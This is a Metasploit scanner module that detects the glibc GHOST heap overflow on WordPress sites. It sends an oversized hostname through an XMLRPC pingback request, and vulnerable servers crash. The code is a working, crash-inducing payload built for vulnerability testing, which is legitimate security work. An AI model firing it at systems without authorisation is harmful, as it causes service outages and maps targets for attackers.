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6300758 Jul 24, 2017
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner',
'Description' => %q{
This module can be used to determine hosts vulnerable to the GHOST vulnerability via
a call to the WordPress XMLRPC interface. If the target is vulnerable, the system
will segfault and return a server error. On patched systems, a normal XMLRPC error
is returned.
},
'Author' =>
[
'Robert Rowley',
'Christophe De La Fuente' ,
'Chaim Sanders' ,
'Felipe Costa' ,
'Jonathan Claudius' ,
'Karl Sigler' ,
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0235' ],
[ 'URL', 'http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html'],
[ 'URL', 'http://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html']
]
))
register_options(
[
OptInt.new('LENGTH', [false, 'Payload length', 2500]),
])
end
def length
datastore['LENGTH']
end
def run_host(ip)
unless wordpress_and_online?
print_error("Looks like this site is no WordPress blog")
return
end
unless wordpress_xmlrpc_enabled?
print_error("XMLRPC interface is not enabled")
return
end
ghost = "0" * length
payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php"
xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload)
res = send_request_cgi(
'uri' => wordpress_url_xmlrpc,
'method' => 'POST',
'ctype' => 'text/xml;charset=UTF-8',
'data' => xml
)
if res.nil? || res.code == 500
print_good("vulnerable to GHOST")
report_vuln(
:host => ip,
:proto => 'tcp',
:port => datastore['RPORT'],
:name => self.name,
:info => "Module #{self.fullname} found GHOST vulnerability",
:sname => datastore['SSL'] ? "https" : "http"
)
else
print_status("target not vulnerable to GHOST")
end
end
end